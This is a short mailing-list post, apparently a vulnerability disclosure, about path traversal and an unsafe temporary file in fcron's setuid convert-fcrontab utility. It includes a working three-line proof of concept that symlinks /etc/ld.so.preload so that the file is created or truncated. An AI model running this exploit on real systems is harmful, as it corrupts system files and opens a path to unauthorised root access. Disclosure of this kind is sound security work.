Hi pi3 and list,

There are much simplier bugs in convert-fcrontab, which toghether allows to gain uid0 privileges. 

* convert-fcrontab lacks any checks on file path passed to it. Attacker could get outside of fcron spool directory 
using "../".

* convert-fcrontab opens temporary file without O_EXCL flag.

PoC:

perl -e '{print "fcrontab-017\nuser\x001132863099\n\x00\x00\x00\x00"}' > /tmp/fc_file
ln -s /etc/ld.so.preload /tmp/fc_file.tmp
convert-fcrontab ../../../../tmp/fc_file 

Will create empty /etc/ld.so.preload file or truncate existing.

Tested on fcron 2.9.5 shipped with trustix 2.2 (setuid root by default), and fcron 3.0.0.

regards Karol
